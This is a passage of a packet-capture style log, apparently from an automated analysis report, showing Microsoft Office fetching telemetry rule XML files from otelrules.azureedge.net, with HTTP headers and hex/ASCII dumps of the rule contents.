</C> </C> <C T="U32" I="2" O="false" N="Count_CreateResult_ValidPersona_False"> <C>
2024-11-27 03:07:29 UTC	16384	IN	Data Raw: 20 49 3d 22 31 39 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 57 61 73 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6c 65 61 6e 75 70 Data Ascii: I="19" O="false" N="Paint_IMsoPersona_WasNull_Count"> <C> <S T="32" /> </C> </C> <C T="U32" I="20" O="false" N="Paint_IMsoPersona_Null_Count"> <C> <S T="33" /> </C> </C> <C T="U32" I="21" O="false" N="Cleanup
2024-11-27 03:07:29 UTC	16384	IN	Data Raw: 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 32 30 30 22 20 54 3d 22 49 36 34 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 52 65 74 72 69 65 76 61 6c 4d 69 6c 6c 69 73 65 63 6f 6e 64 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 Data Ascii: </L> <R> <V V="200" T="I64" /> </R> </O> </L> <R> <O T="LT"> <L> <S T="3" F="RetrievalMilliseconds" /> </L> <R>
2024-11-27 03:07:29 UTC	16384	IN	Data Raw: 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 53 75 63 63 65 73 73 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 46 61 69 6c 65 64 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 Data Ascii: </O> </F> </S> <C T="U32" I="0" O="false" N="Ocom2IUCOfficeIntegrationFirstCallSuccessCount"> <C> <S T="9" /> </C> </C> <C T="U32" I="1" O="false" N="Ocom2IUCOfficeIntegrationFirstCallFailedCount"> <C>
2024-11-27 03:07:29 UTC	16384	IN	Data Raw: 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 54 65 6e 61 6e 74 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 55 73 65 72 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 66 61 6c 73 65 22 20 54 3d 22 42 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: O T="AND"> <L> <S T="3" F="Tenant enabled" /> </L> <R> <O T="EQ"> <L> <S T="3" F="User enabled" /> </L> <R> <V V="false" T="B" />
2024-11-27 03:07:29 UTC	16384	IN	Data Raw: 20 3c 53 20 54 3d 22 32 22 20 46 3d 22 48 74 74 70 53 74 61 74 75 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 34 22 20 54 3d 22 55 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 37 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 32 22 20 46 3d 22 48 74 74 70 53 74 61 74 75 73 22 20 2f 3e 0d 0a 20 20 Data Ascii: <S T="2" F="HttpStatus" /> </L> <R> <V V="404" T="U32" /> </R> </O> </F> <F T="7"> <O T="AND"> <L> <O T="GE"> <L> <S T="2" F="HttpStatus" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
33	192.168.2.4	49789	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 03:07:31 UTC	192	OUT	GET /rules/rule120609v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 03:07:32 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 03:07:31 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB56D3AFB" x-ms-request-id: dc0e4179-901e-005b-2991-3f2005000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T030731Z-174f7845968vqt9xhC1EWRgten0000000wfg000000001v47 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 03:07:32 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 44 64 5d 5b 45 65 5d 5b 4c 6c 5d 5b 4c 6c 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120609" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120682" /> <SR T="2" R="^([Dd][Ee][Ll][Ll])"> <S T="1" F="0" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
34	192.168.2.4	49785	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 03:07:31 UTC	193	OUT	GET /rules/rule120402v21s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 03:07:32 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 03:07:31 GMT Content-Type: text/xml Content-Length: 3788 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC2126A6" x-ms-request-id: 0b3277ea-501e-00a0-5e91-3f9d9f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T030731Z-174f78459685726chC1EWRsnbg0000000wf0000000004amt x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 03:07:32 UTC	3788	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 34 30 32 22 20 56 3d 22 32 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 55 6e 67 72 61 63 65 66 75 6c 41 70 70 45 78 69 74 44 65 73 6b 74 6f 70 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 22 20 78 6d 6c 6e 73 3d 22 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120402" V="21" DC="SM" EN="Office.System.SystemHealthUngracefulAppExitDesktop" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalCensus" DL="A" DCa="PSP" xmlns=""

Session ID	Source IP	Source Port	Destination IP	Destination Port
35	192.168.2.4	49788	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 03:07:31 UTC	192	OUT	GET /rules/rule120608v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 03:07:32 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 03:07:32 GMT Content-Type: text/xml Content-Length: 2160 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA3B95D81" x-ms-request-id: 6eac4bdd-a01e-006f-1c91-3f13cd000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T030732Z-174f7845968jrjrxhC1EWRmmrs0000000wdg00000000egqr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 03:07:32 UTC	2160	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 37 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 33 22 20 52 3d 22 31 32 30 36 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 34 22 20 52 3d 22 31 32 30 36 31 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 35 22 20 52 3d 22 31 32 30 36 31 34 22 20 2f 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120608" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120609" /> <R T="2" R="120679" /> <R T="3" R="120610" /> <R T="4" R="120612" /> <R T="5" R="120614" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
36	192.168.2.4	49786	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 03:07:31 UTC	192	OUT	GET /rules/rule224902v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 03:07:32 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 03:07:31 GMT Content-Type: text/xml Content-Length: 450 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:25 GMT ETag: "0x8DC582BD4C869AE" x-ms-request-id: 59158d4f-901e-00a0-5491-3f6a6d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T030731Z-174f78459684bddphC1EWRbht40000000vz000000000ntme x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 03:07:32 UTC	450	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 32 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 55 54 53 20 54 3d 22 32 22 20 49 64 3d 22 62 62 72 35 71 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 61 33 36 61 39 37 30 64 2d 34 35 61 39 2d 34 65 30 64 2d 39 63 61 62 2d 32 61 32 33 35 63 63 39 64 37 63 36 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 47 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 4e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224902" V="2" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120100" /> <UTS T="2" Id="bbr5q" /> <SS T="3" G="{a36a970d-45a9-4e0d-9cab-2a235cc9d7c6}" /> </S> <C T="G" I="0" O="falseN

Session ID	Source IP	Source Port	Destination IP	Destination Port
37	192.168.2.4	49787	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 03:07:31 UTC	192	OUT	GET /rules/rule120600v4s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 03:07:32 UTC	515	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 03:07:31 GMT Content-Type: text/xml Content-Length: 2980 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: 2ca1f14f-f01e-001f-3f2a-405dc8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T030731Z-174f7845968ljs8phC1EWRe6en0000000w4g00000000enmh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-27 03:07:32 UTC	2980	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 30 22 20 56 3d 22 34 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 44 65 76 69 63 65 43 6f 6e 73 6f 6c 69 64 61 74 65 64 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120600" V="4" DC="SM" EN="Office.System.SystemHealthMetadataDeviceConsolidated" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC"

Session ID	Source IP	Source Port	Destination IP	Destination Port
38	192.168.2.4	49790	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 03:07:33 UTC	192	OUT	GET /rules/rule120610v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 03:07:34 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 03:07:34 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:46 GMT ETag: "0x8DC582B9964B277" x-ms-request-id: ac13d5d8-201e-005d-5b55-40afb3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T030734Z-174f7845968kdththC1EWRzvxn00000008u000000000001q x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 03:07:34 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120610" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
39	192.168.2.4	49793	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 03:07:33 UTC	192	OUT	GET /rules/rule120614v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 03:07:34 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 03:07:34 GMT Content-Type: text/xml Content-Length: 467 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6C038BC" x-ms-request-id: 3360fb1d-601e-0097-3291-3ff33a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T030734Z-174f78459685m244hC1EWRgp2c0000000w8g000000002m94 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 03:07:34 UTC	467	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120614" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
40	192.168.2.4	49792	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 03:07:33 UTC	192	OUT	GET /rules/rule120612v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 03:07:35 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 03:07:34 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:25 GMT ETag: "0x8DC582BB10C598B" x-ms-request-id: 30944020-a01e-0053-5e8b-3f8603000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T030734Z-174f7845968qj8jrhC1EWRh41s0000000w7000000000gw7d x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 03:07:35 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120612" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
41	192.168.2.4	49794	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 03:07:33 UTC	192	OUT	GET /rules/rule120613v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 03:07:34 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 03:07:34 GMT Content-Type: text/xml Content-Length: 632 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6E3779E" x-ms-request-id: 6f96f590-e01e-0099-0e7f-3fda8a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T030734Z-174f7845968nxc96hC1EWRspw80000000w1000000000ek2g x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 03:07:34 UTC	632	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 48 68 5d 5b 50 70 5d 28 5b 5e 45 5d 7c 24 29 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 33 22 20 52 3d 22 28 5b 48 68 5d 5b 45 65 5d 5b 57 77 5d 5b 4c 6c 5d 5b 45 65 5d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120613" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <SR T="2" R="^([Hh][Pp]([^E]\|$))"> <S T="1" F="1" M="Ignore" /> </SR> <SR T="3" R="([Hh][Ee][Ww][Ll][Ee]

Session ID	Source IP	Source Port	Destination IP	Destination Port
